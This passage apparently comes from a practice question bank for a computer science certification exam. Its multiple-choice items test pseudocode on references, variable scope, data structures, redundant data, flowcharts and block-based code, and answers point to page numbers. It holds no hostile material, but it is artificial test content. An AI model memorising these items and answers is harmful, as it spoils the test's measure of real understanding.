15 atlas.check_out()
16 novel.check_out()
17 atlas.check_in()
18 novel.check_out()
19 output(atlas.on_shelf)
20 output(novel.on_shelf)
```

A.

```
>>> 2
>>> 2
```

B.

```
>>> ERROR
```

C.

```
>>> 3
>>> 5
```

D.

```
>>> 3
>>> 2
```

Answer: page 1000

0002.h.11.2

A student's game program defines a class `Player` with the attributes `name` and `score`. Before resetting a player's score for a new round, the program is meant to keep a backup of the player and a copy of the old score. The student runs the program below in a language that, like many object-oriented languages, treats object variables as references and `int` variables as values. Which statement correctly describes the output, with its reason?

```
01 class Player
02   String name
03   int score
04
05 Player first = Player("Ines", 40)
06 Player backup = first
07 int saved = first.score
08 backup.score = 0
09 saved = saved + 5
10 output(first.score)
11 output(saved)
```

A. It displays `5` and then `5`, because every variable that is assigned from another variable refers to the same stored value.

B. It displays `40` and then `45`, because assigning `first` to `backup` creates a separate object with copies of each attribute.

C. It displays `0` and then `45`, because `backup` refers to the same object as `first`, while `saved` holds its own copy of a number.

D. It displays `45` and then `45`, because an `int` taken from an object stays linked to it, while an object is copied.

Answer: page 1000

0002.h.11.3

A student is writing a game that uses a graphics library. The library's documentation describes a class `Sprite` with the attributes `x` and `y` and the method `move(int dx, int dy)`, which shifts the sprite on which it is called by `dx` across and `dy` down. The game creates two sprites, as shown, and the hero must now move 2 units to the right. Which statement, executed on line 03, does this?

```
01 Sprite hero = Sprite(0, 0)
02 Sprite ghost = Sprite(5, 5)
03 /* missing statement */
04 output(hero.x)
```

A. `Sprite.move(2, 0)`

B. `hero.move = (2, 0)`

C. `hero.move(2, 0)`

D. `move.hero(2, 0)`

Answer: page 1000

0002.h.11.4

A school's scheduling program defines a class `Course`, with the attributes `title`, `room`, and `capacity` and the method `enroll()`. The program creates `bio`, `chem`, and `art` from this class, one for each course offered this term. A student who is new to the program writes a note explaining the design to the next volunteer. Which statement in the note is accurate?

A. `bio`, `chem`, and `art` are three instances that share the attributes and methods defined by `Course`, but each holds its own room and capacity.

B. `Course` is an object, and `bio`, `chem`, and `art` are its attributes, reached by writing `Course.bio`, `Course.chem`, and `Course.art`.

C. `Course` holds the values for Biology, and `chem` and `art` begin as copies of those values, which are then changed for each course.

D. `bio`, `chem`, and `art` are classes that are derived from `Course`, so each of them can define attributes that the others lack.

Answer: page 1000

0002.h.11.5

A student who is planning a mural models each wall panel as an object of the class `Panel` below, and keeps the panels in an array. The method `area()` returns the area of the panel on which it is called. After totaling the areas, the student widens one panel to fit a doorway and checks that panel's new area. Which output would the program produce?

```
01 /* Each Panel is a rectangle measured in meters. */
02 class Panel
03   int width
04   int height
05
06   function area()
07     return width * height
08
09 Panel[] wall = [Panel(2, 3), Panel(4, 1), Panel(3, 3)]
10 int total = 0
11 for (int i = 0; i < wall.size[1]; i = i + 1)
12   total = total + wall[i].area()
13
14 wall[1].width = 5
15 output(total)
16 output(wall[1].area())
```

A.

```
>>> 19
>>> 5
```

B.

```
>>> 27
>>> 15
```

C.

```
>>> 19
>>> ERROR
```

D.

```
>>> 19
>>> 4
```

Answer: page 1000

Scope

0002.h.12.1

A teacher is planning a class trip and asks a student to write a program that reports the trip's total cost and the cost per student. The student writes two functions and then, to check the arithmetic, adds a final statement that displays the cost of the tickets alone. The first two lines of output are correct, `750` and then `30`, but the program then stops with an error. Which statement best explains the error?

```
01 /* Report the cost of a class trip and the cost per student. */
02 function trip_total(int students, int ticket, int bus)
03   int tickets = students * ticket
04   int total = tickets + bus
05   return total
06
07 function per_student(int total, int students)
08   return total / students
09
10 int class_size = 25
11 int cost = trip_total(class_size, 12, 450)
12 output(cost)
13 output(per_student(cost, class_size))
14 output(tickets)
```

A. The main program must declare `tickets` with its type again before using it, because a variable's type does not carry over from a function.

B. The parameter `total` of `per_student` has the same name as a variable in `trip_total`, so the two names conflict and `tickets` is lost.

C. The value of `tickets` was cleared when `per_student` was called, because the variables of only one function can exist at any one time.

D. The name `tickets` is valid only inside `trip_total`, so it does not refer to anything in the main program, even after that function has run.

Answer: page 1000

0002.h.12.2

A student's quiz game keeps the player's overall score in a variable declared at the top of the program, and uses a function to total the points earned in a single round. The student gives the function's running total the same name as the overall score, expecting no difficulty, and adds statements that display the score before and after the round's points are added. Which output would the program produce?

```
01 /* A game keeps an overall score; a function totals one round's points. */
02 int score = 100
03
04 function round_points(int[] hits)
05   int score = 0
06   for (int i = 0; i < hits.size[1]; i = i + 1)
07     score = score + hits[i]
08   return score
09
10 int[] round_one = [15, 20, 10]
11 int earned = round_points(round_one)
12 output(score)
13 output(earned)
14 score = score + earned
15 output(score)
```

A.

```
>>> ERROR
```

B.

```
>>> 100
>>> 45
>>> 145
```

C.

```
>>> 100
>>> 0
>>> 100
```

D.

```
>>> 45
>>> 45
>>> 90
```

Answer: page 1000

0002.h.12.3

A student's program, which assigns each student to a reading group from a placement score, runs correctly in Python and displays `Group: Core`. The student's teacher translates it into a typed language in which, as in Java and C, a variable declared within the body of an `if` or `else` exists only until that body ends. The translated program, shown below, is rejected with an error at its final statement. Which revision corrects the error?

```
01 /* Assign a reading group from a placement score. */
02 int placement = 72
03 if (placement >= 80)
04   String group = "Advanced"
05 else
06   String group = "Core"
07 output(concat("Group: ", group))
```

A. adding the declaration `String group` just before the final statement, so that it can collect the value set in a branch

B. declaring `group` with a starting value before the `if` statement, and assigning to it without a type in each branch

C. replacing `else` with `elseif (placement < 80)`, so that the language can tell that one of the two branches must run

D. renaming the variable in the `else` branch to `group2`, so that the two declarations no longer conflict with each other

Answer: page 1000

0002.h.12.4

A school library's program gives each new library card the next number in a sequence that begins after 1000. The student's first version, in which the function declares and updates its own counter, gives every card the number `1001`. The student wants the function to stay independent of the rest of the program, so it should not rely on any variable outside itself. Which version, replacing lines 02-08, displays `1001`, `1002`, and then `1003`?

```
01 /* Give each new library card the next number in sequence. */
02 function next_card()
03   int last = 1000
04   last = last + 1
05   return last
06
07 for (int i = 0; i < 3; i = i + 1)
08   output(next_card())
```

A.

```
function next_card(int last)
```

```
  int count = 1000
  count = count + 1
  return count

int card = 1000
for (int i = 0; i < 3; i = i + 1)
  card = next_card(card)
  output(card)
```

B.

```
function next_card(int last)
  return last + 1

for (int i = 0; i < 3; i = i + 1)
  int card = 1000
  card = next_card(card)
  output(card)
```

C.

```
function next_card(int last)
  return last + 1

int card = 1000
for (int i = 0; i < 3; i = i + 1)
  card = next_card(card)
  output(card)
```

D.

```
function next_card(int last)
  last = last + 1
  return last

int card = 1000
for (int i = 0; i < 3; i = i + 1)
  next_card(card)
  output(card)
```

Answer: page 1000

0002.h.12.5

A teacher's gradebook program applies a penalty of 5 points per day to late work, with no score allowed to fall below zero. A student who maintains the program tests the function below on an essay that was 2 days late and a lab report that was 3 days late, and displays the variables involved. The student calls the function for the essay without storing its result, in order to see whether the essay's score changes. Which output would the program produce?

```
01 /* Apply a late penalty to an assignment score. */
```

```
02 function apply_penalty(int score, int days_late)
03   score = score - 5 * days_late
04   if (score < 0)
05     score = 0
06   return score
07
08 int essay = 82
09 int lab = 12
10 apply_penalty(essay, 2)
11 int lab_final = apply_penalty(lab, 3)
12 output(essay)
13 output(lab)
14 output(lab_final)
```

A.

```
>>> 72
>>> 0
>>> 0
```

B.

```
>>> 82
>>> 12
>>> 0
```

C.

```
>>> 82
>>> 12
>>> -3
```

D.

```
>>> 72
>>> 12
>>> 0
```

Answer: page 1000

Choosing a data structure

0002.h.13.1

A town library buys one copy of a much-requested new novel. Patrons may place a hold on the book through the library's website, and the library has promised that the copy will be offered to patrons strictly in the order in which their holds were placed, with each patron removed from the list once the book is offered. A student volunteer is designing the hold list. Which data structure is the most appropriate choice?

A. a stack, since the patron offered the book is always the one whose hold was placed most recently

B. a map, since each patron's hold can be found by the patron's card number whenever it is needed

C. a two-dimensional array, since each hold can be placed in a row and column that record its date

D. a queue, since the patron offered the book is always the one whose hold was placed earliest

Answer: page 1000

0002.h.13.2

A school's front office uses the program below to find a student's locker number from the student's ID, and the function is called hundreds of times a day. Each call walks through the IDs until it finds a match, and the code depends on two arrays being kept in exactly the same order. A reviewer suggests replacing the two arrays with a different data structure. Which replacement would most directly simplify the lookup?

```
01 /* Look up a student's locker number from the student's ID. */
02 String[] ids = ["S104", "S221", "S187", "S350", "S412"]
03 int[] lockers = [512, 87, 230, 341, 66]
04
05 function locker_for(String id, String[] ids, int[] lockers)
06   for (int i = 0; i < ids.size[1]; i = i + 1)
07     if (ids[i] == id)
08       return lockers[i]
09   return -1
10
11 output(locker_for("S350", ids, lockers))
12 output(locker_for("S999", ids, lockers))
```

A. a stack of ID and locker pairs, so that the pair most recently added is the first one that the function examines

B. a two-dimensional array with the IDs in one row and the lockers in another, so that both values share a column

C. a map from each student ID to that student's locker number, so that a locker is found directly from its ID

D. a queue of ID and locker pairs, so that each pair is examined in the order in which the students were added

Answer: page 1001

0002.h.13.3

A hiking app guides a hiker back to the trailhead. As the hiker walks, the app records each trail junction passed, and on the return trip it directs the hiker to each junction in turn, starting with the one passed most recently and ending with the first one passed on the way out. Which data structure best fits the app's record of junctions?

A. a stack, since the junctions are needed in the reverse of the order in which they were recorded

B. a map, since each junction can be found from its name or its distance along the trail

C. a two-dimensional array, since each junction is located by its position on a map grid

D. a queue, since the junctions are needed in the same order in which they were recorded

Answer: page 1001

0002.h.13.4

A fitness tracker stores the number of steps that its wearer took on each day of a year. Its reports often show the count for a particular day, such as day 200, and compare runs of consecutive days, such as days 100 to 130. Counts are recorded once a day and are never removed. Which data structure is the most appropriate choice for these counts?

A. a map from each step count to its day, since each count can then be looked up quickly

B. an array of 365 counts, since each count is reached directly by its position, the day's number

C. a stack of daily counts, since the reports most often need the count for the most recent day

D. a queue of daily counts, since each day's count is added after the counts of all earlier days

Answer: page 1001

0002.h.13.5

A school's copy center prints jobs for students, who pay from prepaid accounts. Jobs must be printed in the order in which they were submitted. When a job is printed, its cost must be deducted from the account of the student who sent it, and that account is identified by the student's ID number. Which combination of data structures best meets both requirements?

A. a map from each job to its submission time, and a queue of the students' account balances

B. a queue of print jobs, and a map from each student ID to that student's account balance

C. a two-dimensional array that holds every job and every balance, with one row for each student

D. a stack of print jobs, and an array of account balances that is kept in the order of the jobs

Answer: page 1001

Avoiding redundant data

0002.h.14.1

A student who is building an online ordering system for a school's spirit store designs an `Order` class. The draft class stores the attributes shown below. When the student's teacher reviews the draft, the teacher recommends replacing the attributes on lines 04, 06, and 07 with methods. Which statement best describes the likely reasoning behind this recommendation?

```
01 /* Attributes of the draft Order class */
02 int quantity
03 float unit_price
04 float subtotal
05 float tax_rate
06 float tax
07 float total
```

A. A class works best with a small number of attributes, so the class is reduced to a size that can be tested more easily.

B. The values on those lines follow from the other attributes, and stored copies could disagree with them after a change to the order.

C. The values on those lines are used rarely, on a printed receipt, and data that are used rarely are better not stored.

D. Amounts of money are better calculated by methods, since `float` attributes do not hold amounts such as `0.10` exactly.

Answer: page 1001

0002.h.14.2

A student's music app defines the class `Playlist` below, which stores both an array of song titles and a separate count of songs. In this class, an attribute's name inside a method refers to the value held by the object on which the method was called. A tester creates a playlist with two songs, adds one, and removes one, and the app reports that the playlist holds `3` songs. Which revision removes the possibility of this kind of disagreement, rather than correcting only this one instance?

```
01 class Playlist
02   String[] songs
03   int count
04
05   function add(String title)
06     songs.append(title)
07     count = count + 1
08
09   function remove(int position)
10     songs.del(position)
11
```

```
12 Playlist mix = Playlist(["Aria", "Blue"], 2)
13 mix.add("Coda")
14 mix.remove(0)
15 output(mix.count)
```

A. calculating `count` from the songs given when a playlist is created, so that each new playlist begins with a correct count

B. adding `count = count - 1` to `remove()`, so that both methods that change the songs also change the stored count

C. deleting the attribute `count` and adding a method that returns `songs.size[1]` whenever the number of songs is needed

D. storing a second copy of the array of songs, so that `count` can be checked against that copy after each change

Answer: page 1001

0002.h.14.3

A teacher's gradebook program stores one assignment's scores, then calculates their total and mean at the start. Later, a regrade raises one student's score, and a late submission is added. The teacher then asks the program for the updated score and the class mean. Which statement correctly describes the output, with the reason for it?

```
01 /* Gradebook summary for one assignment. */
02 int[] scores = [78, 85, 90, 67]
03 int total = 0
04 for (int i = 0; i < scores.size[1]; i = i + 1)
05   total = total + scores[i]
06 int mean = total / scores.size[1]
07
08 /* A regrade raises the third score, and a late score is added. */
09 scores[2] = 98
10 scores.append(88)
11
12 output(scores[2])
13 output(mean)
```

A. It displays `98` and then stops with an error, because a value calculated from an array cannot be read after the array has changed.

B. It displays `98` and then `82`, because changing an existing score updates the mean, while an appended score is not counted.

C. It displays `98` and then `80`, because the mean was calculated once, from the scores that existed before either change was made.

D. It displays `98` and then `83`, because a variable that is defined by a calculation is updated whenever the values used in it change.

Answer: page 1001

0002.h.14.4

A video-sharing site displays each video's total number of views, which is derived from a log holding millions of individual view records. The total is shown thousands of times per second, and the single step that records each new view in the log also adds one to the stored total. A reviewer objects that the design stores data that could be derived. Which response best justifies keeping the stored total?

A. A value that is shown to users should be stored, because a value that appears on a screen should not have to be calculated.

B. The total is a single number that takes little memory, and a number that is small to store does not drift away from the data it summarizes.

C. The total is costly to derive and is read constantly, and the one step that records a view also updates it, so the copy stays consistent.

D. The total can be recalculated from the log when needed, so a stored total that disagreed with the log would correct itself automatically.

Answer: page 1001

0002.h.14.5

A district's student information system defines the class `Student` below. Each object records the year in which the student is expected to graduate and the student's grade level, which is entered when the student enrolls. At the start of each new school year, the system lists many students in the wrong grade. Which change to the class is most appropriate?

```
01 class Student
02   String name
03   int grad_year
04   int grade_level
05
06   function is_senior()
07     return grade_level == 12
```

A. storing the grade level as a `String`, such as `"senior"`, so that it can be read without calculation by other programs

B. replacing the attribute `grade_level` with a method that calculates the grade from `grad_year` and the current school year

C. removing `grad_year` and keeping `grade_level`, since the grade level is the value that the system reads most often

D. storing the current school year in each `Student` object as a further attribute, next to the grade level and the graduation year

Answer: page 1001

0002.i Representing algorithms

Read about this in the content summary: 0002.i, page 73.

Flowchart symbols

0002.i.1.1

A school library charges a fine for each late book: 10 dollars if the book is more than 14 days late, 5 dollars if it is 1 to 14 days late, and nothing otherwise. The program below totals the fines for the books returned at the desk in one afternoon. A student is asked to draw a flowchart of the program for the library's documentation, using the standard shapes.

```
01 /* Totals the fines, in dollars, for the books returned at the desk */
02 int[] days_late = [0, 3, 21, 15, 9]
03 int total = 0
04 int count_late = 0
05 for (int b = 0; b < days_late.size[1]; b = b + 1)
06   int days = days_late[b]
07   int fine = 0
08   if (days > 14)
09     fine = 10
10   elseif (days > 0)
11     fine = 5
12   if (fine > 0)
13     count_late = count_late + 1
14   total = total + fine
15 output(concat("Late books: ", count_late))
16 output(concat("Total fines: ", total))
```

Which description of the flowchart's treatment of the statement on lines 08 through 11 is correct?

A. an oval for each assignment inside it, since each assignment marks a point at which the calculation is finished

B. a diamond for each assignment inside it and a rectangle for each condition, since each condition is itself a calculation

C. a diamond for each of its two conditions, each with two labeled arrows, and a rectangle for each assignment inside it

D. a single rectangle holding the whole statement, since the statement as a whole produces one value of `fine`

Answer: page 1001

0002.i.1.2

A student's flowchart for a snack machine is shown below as a numbered list of shapes, with an arrow written "→" followed by the number of the shape it leads to.

1. Oval "Start" → 2
2. Rectangle "Read the value of the coin inserted" → 3
3. Rectangle "Add the coin's value to the total" → 4
4. Diamond "Is the total at least the price?" Yes → 5; No → 2
5. Rectangle "Release the snack" → 6
6. Oval "End"

A classmate copying the chart redraws shape 4 as a rectangle, keeping its text and both of its labeled arrows. Which statement best describes how the change affects the chart's meaning to a reader who knows the standard shapes?

A. The chart no longer marks that step as the point where the flow chooses between two paths.

B. The chart now shows that the step stores the total in a separate record kept for later use.

C. The chart now shows that the step is repeated a fixed number of times before moving on.

D. The chart no longer shows where the algorithm begins its work and where it finishes.

Answer: page 1001

0002.i.1.3

A teacher reviews a student's flowchart for a greenhouse fan controller, shown below as a numbered list of shapes. An arrow is written "→" followed by the number of the shape it leads to.

1. Oval "Start" → 2
2. Rectangle "Read the temperature" → 3
3. Diamond "Is the temperature above 30 degrees?" → 4; → 5
4. Rectangle "Turn the fan on" → 6
5. Rectangle "Turn the fan off" → 6
6. Oval "End"

The arrows leaving shape 3 carry no labels. Which revision would most improve a reader's ability to follow the chart?

A. removing one of the two arrows that leave the diamond, since each shape in a flowchart should have one exit

B. redrawing the "Start" oval as a rectangle, since starting the controller is a step that the program carries out

C. redrawing the diamond as an oval, since the controller's behavior is settled at that point and its work ends

D. labeling the two arrows that leave the diamond, for example Yes and No, to show which outcome each one follows

Answer: page 1001

0002.i.1.4

A snack bar's program, shown below, adds up the prices of an order as the cashier types them, one at a time, and the cashier types `0` to finish the order. A student is drawing a flowchart of the program for a class presentation, using the standard shapes.

```
01 /* Totals a snack order until the cashier types 0 */
02 int total = 0
03 int price = input()
04 while (price != 0)
05   total = total + price
06   price = input()
07 output(total)
```

How should the step on line 05 be drawn in the student's flowchart?

A. as an oval, since it is the last change made to the total before the flow returns to the loop's test

B. as a diamond with two arrows leaving it, since the step lies inside a loop and may run many times

C. as a rectangle with a single arrow leaving it, which leads on to the step that reads the next price

D. as a rectangle with two arrows leaving it, labeled Yes and No, with one returning to the loop's test

Answer: page 1002

0002.i.1.5

A parking garage's exit machine works as follows. It reads the driver's ticket, calculates the fee from the time of entry, and shows the fee on its screen with a request for payment. If the ticket has been paid, it raises the gate; otherwise, it shows the fee and the request again. In a flowchart of this algorithm, which step should be drawn as a diamond?

A. Raise the gate.

B. Show the fee and ask for payment.

C. Calculate the fee from the time of entry.

D. Has the ticket been paid?

Answer: page 1002

Reading a flowchart loop

0002.i.2.1

A school club's fundraiser counts how many donations it takes to reach its goal of 500 dollars. The club's flowchart is shown below as a numbered list of shapes, with an arrow written "→" followed by the number of the shape it leads to. In pseudocode, the function `next_donation()` returns the amount of the next donation received.

1. Oval "Start" → 2
2. Rectangle "Set total to 0 and count to 0" → 3
3. Diamond "Is total less than 500?" Yes → 4; No → 6
4. Rectangle "Add the next donation to total" → 5
5. Rectangle "Add 1 to count" → 3
6. Rectangle "Display count" → 7
7. Oval "End"

Which pseudocode has the same flow of control as the flowchart?

A.

```
int total = 0
int count = 0
while (total < 500)
  total = total + next_donation()
  count = count + 1
output(count)
```

B.

```
int total = 0
for (int count = 0; count < 500; count = count + 1)
  total = total + next_donation()
output(count)
```

C.

```
int total = 0
int count = 0
if (total < 500)
  total = total + next_donation()
  count = count + 1
output(count)
```

D.

```
int total = 0
int count = 0
while (total < 500)
  total = total + next_donation()
  count = count + 1
  output(count)
```

Answer: page 1002

0002.i.2.2

A teacher's grading assistant reads a file of student responses, one line at a time. Its flowchart is shown below as a numbered list of shapes, with an arrow written "→" followed by the number of the shape it leads to.

1. Oval "Start" → 2
2. Rectangle "Read the next line of the file" → 3
3. Rectangle "Score the response on that line" → 4
4. Diamond "Are there more lines in the file?" Yes → 2; No → 5
5. Oval "End"

A tester runs the assistant on a file that contains no lines at all. Which statement best describes what the flowchart directs the assistant to do?

A. It reaches the scoring step once before any test is made, so it tries to score a line that does not exist.

B. It never reaches the scoring step, since the decision finds that there are no lines before anything is scored.

C. It repeats the scoring step without end, since an arrow from the decision returns to an earlier shape.

D. It reaches the scoring step exactly twice, once for each of the two labeled arrows that leave the decision.

Answer: page 1002

0002.i.2.3

A student draws a flowchart for a program that should ring a bell 10 times, shown below as a numbered list of shapes. An arrow is written "→" followed by the number of the shape it leads to. When the student traces the flowchart, the bell never stops ringing.

1. Oval "Start" → 2
2. Rectangle "Set count to 0" → 3
3. Diamond "Is count less than 10?" Yes → 4; No → 6
4. Rectangle "Ring the bell" → 5
5. Rectangle "Add 1 to count" → 2

6. Oval “End”

Which correction makes the flowchart ring the bell exactly 10 times?

A. making the arrow that leaves “Add 1 to count” return to the diamond rather than to “Set count to 0”

B. adding a second “Set count to 0” step between the diamond and “Ring the bell”, on the Yes path

C. exchanging the labels on the diamond’s two arrows, so that the Yes arrow leads to the end of the chart

D. moving “Add 1 to count” so that it comes before “Ring the bell” in the steps that repeat in the loop

Answer: page 1002

0002.i.2.4

A student’s flowchart displays successive doublings of a number entered by the user. It is shown below as a numbered list of shapes, with an arrow written “→” followed by the number of the shape it leads to. The student then translates the flowchart into the pseudocode that follows it.

1. Oval “Start” → 2
2. Rectangle “Set n to the number entered” → 3
3. Rectangle “Display n” → 4
4. Rectangle “Double n” → 5
5. Diamond “Is n greater than 20?” Yes → 6; No → 3
6. Oval “End”

```
01 /* Displays successive doublings of the number entered */
02 int n = input()
03 while (n <= 20)
04   output(n)
05   n = n * 2
06 output("done")
```

The flowchart and the pseudocode display the same numbers for every entry the student tries until the user enters `25`. Which statement best explains the difference?

A. The pseudocode’s test, `n <= 20`, is the reverse of the flowchart’s, so the two loops repeat under opposite conditions.

B. The flowchart displays `n` before its first test, so its loop always runs at least once, while the pseudocode tests first.

C. The flowchart contains no loop, since its arrow returns to a rectangle rather than to a decision, so its steps run only once.

D. The flowchart doubles `n` before displaying it, so it displays `50` for this entry where the pseudocode would display `25`.

Answer: page 1002

0002.i.2.5

A school's grade portal locks an account after too many wrong passwords. Its flowchart is shown below as a numbered list of shapes, with an arrow written "→" followed by the number of the shape it leads to.

1. Oval "Start" → 2
2. Rectangle "Set tries to 0" → 3
3. Rectangle "Read the password entered" → 4
4. Rectangle "Add 1 to tries" → 5
5. Diamond "Is the password correct?" Yes → 8; No → 6
6. Diamond "Is tries less than 3?" Yes → 3; No → 7
7. Rectangle "Lock the account" → 9
8. Rectangle "Show the account" → 9
9. Oval "End"

Which statement best describes how many times the step "Read the password entered" can run?

A. at most three times, and fewer whenever a correct password is entered before the third try is made

B. at most four times, once at the start and once more for each of three returns to the reading step

C. at most twice, since `tries` must be less than 3 for the flow to return to the reading step

D. exactly three times, whatever is entered, since the loop is controlled by the count held in `tries`

Answer: page 1002

Pseudocode

0002.i.3.1

A teacher wants students to plan the algorithm for a class project, a program that recommends a club to each new student, before anyone writes code. The plans will be reviewed by classmates who program in Python, in Java, and in a block-based language, and the teacher wants every reviewer to be able to read every plan and check its steps. Which form should the plans take?

A. a recording of a finished program running, which shows exactly what the program does

B. machine code, which states each step exactly as the computer's processor will carry it out

C. a Python program, since Python is easy to read and can be run in most other languages

D. pseudocode, which sets out each step and structure without the syntax of any one language

Answer: page 1002

0002.i.3.2

A student is converting a Python program to the reference sheet's pseudocode. In the Python version, shown first, `range(1, 10, 3)` produces the numbers from 1 up to, but not including, 10, counting by 3. In the student's pseudocode, which follows it, line 03 has been left blank for the loop's header.

```
total = 0
for i in range(1, 10, 3):
    print(i * i)
    total = total + i
print(total)
```

```
01 /* Displays the squares of the selected numbers, then their sum */
02 int total = 0
03
04   output(i * i)
05   total = total + i
06 output(total)
```

Which statement, placed on line 03, gives the pseudocode the same output as the Python version?

A. `for (int i = 1; i < 10; i = i + 3)`

B. `for (int i = 1; i <= 10; i = i + 3)`

C. `for (int i = 3; i < 10; i = i + 1)`

D. `for (int i = 1; i < 10; i = 3)`

Answer: page 1002

0002.i.3.3

A school's placement program decides whether a student joins the tutoring group. A student who learned to program in a language that marks the end of each block with a keyword such as `end if` is reading the program, which follows the reference sheet's conventions. A user enters `82` when the program runs.

```
01 /* Decides whether a student joins the tutoring group */
02 int score = input()
03 String group = "regular"
04 if (score < 70)
05   group = "tutoring"
06   output("Session: Tuesday")
07 output(concat("Group: ", group))
08 /* output("Reminder: bring a calculator") */
09 output("Done")
```

Which output would the program produce?

A.

```
>>> "Group: regular"
>>> "Done"
```

B.

```
>>> "Session: Tuesday"
>>> "Group: regular"
>>> "Done"
```

C.

```
>>> "Group: regular"
>>> "Reminder: bring a calculator"
>>> "Done"
```

D.

```
>>> "Done"
```

Answer: page 1002

0002.i.3.4

A teacher preparing students for the certification exam asks them to rewrite the Python fragment below in the reference sheet's pseudocode. In both versions, `words` is an array of strings that has already been declared and filled, and the rewritten fragment must keep the original's meaning.

```
# Counts the words longer than six letters
count = 0
for w in words:
    if len(w) > 6:
        count += 1
print(count)
```

Which version follows the reference sheet's conventions and keeps the fragment's meaning?

A.

```
// Counts the words longer than six letters
int count = 0
for (int i = 0; i < words.size; i = i + 1) {
  if (words[i].len > 6) {
    count = count + 1 } }
output(count)
```

B.

```
/* Counts the words longer than six letters */
int count = 0
```

```
for (int i = 0; i < words.size[1]; i = i + 1)
  if (words[i].len > 6)
    count = count + 1
    output(count)
```

C.

```
# Counts the words longer than six letters
int count = 0
for w in words
  if (len(w) > 6)
    count = count + 1
output(count)
```

D.

```
/* Counts the words longer than six letters */
int count = 0
for (int i = 0; i < words.size[1]; i = i + 1)
  if (words[i].len > 6)
    count = count + 1
output(count)
```

Answer: page 1002

0002.i.3.5

In a methods course, a future teacher argues that writing pseudocode is a waste of class time, since pseudocode cannot be run on a computer and so cannot show whether an algorithm works. Which response best evaluates the argument?

A. It overlooks that most interpreters can run pseudocode directly once its comments have been removed from it.

B. It is sound, since pseudocode must follow the exact syntax of one language and so adds nothing to that language.

C. It is sound, since an algorithm that has not been run on a computer cannot be checked for errors in any other way at all.

D. It overlooks that pseudocode lets an algorithm be planned, traced by hand, and shared before any language is chosen.

Answer: page 1002

Block-based representations

0002.i.4.1

A student in a block-based drawing environment builds the script below for a sprite that starts at the center of the stage, facing right. In the listing, each block appears on its own line, and a block

indented beneath a C-shaped block, such as “repeat 4”, sits inside it. The student expected the sprite to draw a square, but the result looks quite different.

```
when green flag clicked
  pen down
  repeat 4
    move 50 steps
  turn right 90 degrees
  repeat 3
    move 20 steps
    turn left 120 degrees
```

Which drawing does the script produce?

A. a square with sides of 50 steps, followed by a small triangle with sides of 20 steps at one corner

B. a straight path of 200 steps, then, after one right turn, a small triangle with sides of 20 steps

C. a square with sides of 50 steps, with a small triangle with sides of 20 steps drawn at every corner

D. a straight path of 200 steps, then, after one right turn, a straight path of 60 steps

Answer: page 1002

0002.i.4.2

A teacher asks students to rewrite a block-based script in the reference sheet’s pseudocode. In the listing below, each block appears on its own line, and a block indented beneath a C-shaped block sits inside it. The “ask” block waits for the user to type a number, which the “answer” block then reports, and the script adds up only the positive numbers among three entries.

```
when green flag clicked
  set total to 0
  repeat 3
    ask "Enter a number" and wait
    if answer > 0
      change total by answer
  say total
```

Which pseudocode has the same structure and behavior as the script?

A.

```
int total = 0
for (int i = 0; i <= 3; i = i + 1)
  int answer = input()
  if (answer > 0)
    total = total + answer
output(total)
```

B.

```
int total = 0
for (int i = 0; i < 3; i = i + 1)
  int answer = input()
  if (answer > 0)
    total = total + answer
output(total)
```

C.

```
int total = 0
for (int i = 0; i < 3; i = i + 1)
  int answer = input()
if (answer > 0)
  total = total + answer
output(total)
```

D.

```
int total = 0
for (int i = 0; i < 3; i = i + 1)
  int answer = input()
  if (answer > 0)
    total = total + answer
    output(total)
```

Answer: page 1003

0002.i.4.3

An elementary class programs a floor robot with blocks so that it will trace a square path around a mat. One group's program has a "repeat 4" block containing a "move forward 1 meter" block, and a "turn right 90 degrees" block attached below the repeat block rather than inside it. When the group runs the program, the robot drives 4 meters in a straight line and then turns once. Which change makes the robot trace the square?

A. dragging the turn block into the repeat block, so that it sits below the move block already there

B. dragging the repeat block inside the turn block, so that the turn controls how many times it repeats

C. changing the number in the repeat block from 4 to 1, so that the move and the turn each happen once

D. adding three more turn blocks below the repeat block, so that four turns follow the four moves

Answer: page 1003

0002.i.4.4

A music app for young students lets them build rhythm patterns from blocks, and it can also show any script as text in the reference sheet's pseudocode. In that text, indentation stands for the nesting of one block inside another. A student builds the pattern below and, before pressing play, predicts how many times each sound will play.

```
01 /* A rhythm pattern built from blocks */
02 for (int bar = 0; bar < 4; bar = bar + 1)
03   for (int beat = 0; beat < 3; beat = beat + 1)
04     output("tap")
05   output("clap")
06 output("bow")
```

How many times does each sound play when the pattern runs?

A. "tap" 12 times, "clap" 4 times, and "bow" once

B. "tap" 12 times, "clap" 4 times, and "bow" 4 times

C. "tap" 12 times, "clap" 12 times, and "bow" once

D. "tap" 7 times, "clap" 4 times, and "bow" once

Answer: page 1003

0002.i.4.5

A middle school teacher is moving a class from a block-based environment to a text language with the reference sheet's conventions. Several students ask how they can tell, in text, which statements a loop controls, since there are no longer C-shaped blocks to place statements inside. Which explanation best connects what the students already know to the new form?

A. In text, a loop controls only the single line just below its header, since each block in the C shape held one statement.

B. A statement indented beneath a loop's header is inside the loop, just as a block placed inside the C-shaped block is.

C. In text, the statements a loop controls are shown by matching colors, just as blocks of one category share a color.

D. In text, a loop controls every statement that follows it to the end of the program, since nothing encloses its body.

Answer: page 1003

Reference sheet control structures

0002.i.5.1

A museum's ticket program, written in Python, charges 6 dollars for a child under 12, 8 dollars for a visitor aged 65 or over, and 11 dollars for anyone else. A student is rewriting the program in the

reference sheet's pseudocode, in which `age` and `price` have already been declared as `int` variables. The Python version of the pricing step is shown below.

```
if age < 12:
    price = 6
elif age >= 65:
    price = 8
else:
    price = 11
```

Which version follows the reference sheet and charges every visitor the same price as the Python version?

A.

```
if (age < 12)
  price = 6
elseif (age >= 65)
  price = 8
else
  price = 11
```

B.

```
if (age < 12) then
  price = 6
else if (age >= 65) then
  price = 8
else then
  price = 11
end if
```

C.

```
if age < 12:
  price = 6
elif age >= 65:
  price = 8
else:
  price = 11
```

D.

```
if (age < 12)
  price = 6
if (age >= 65)
  price = 8
else
  price = 11
```

Answer: page 1003

0002.i.5.2

A science teacher's program counts down before a demonstration, displaying every third second. A student who prefers `while` loops wants to replace lines 02 and 03 with an equivalent `while` loop that displays exactly the same numbers, so that the countdown and the final `"Go"` are unchanged.

```
01 /* Counts down the seconds before a science demonstration */
02 for (int t = 10; t > 0; t = t - 3)
03   output(t)
04 output("Go")
```

Which code, replacing lines 02 and 03, does this?

A.

```
int t = 10
while (t > 0)
  output(t)
  t = t - 3
```

B.

```
while (t > 0)
  int t = 10
  output(t)
  t = t - 3
```

C.

```
int t = 10
if (t > 0)
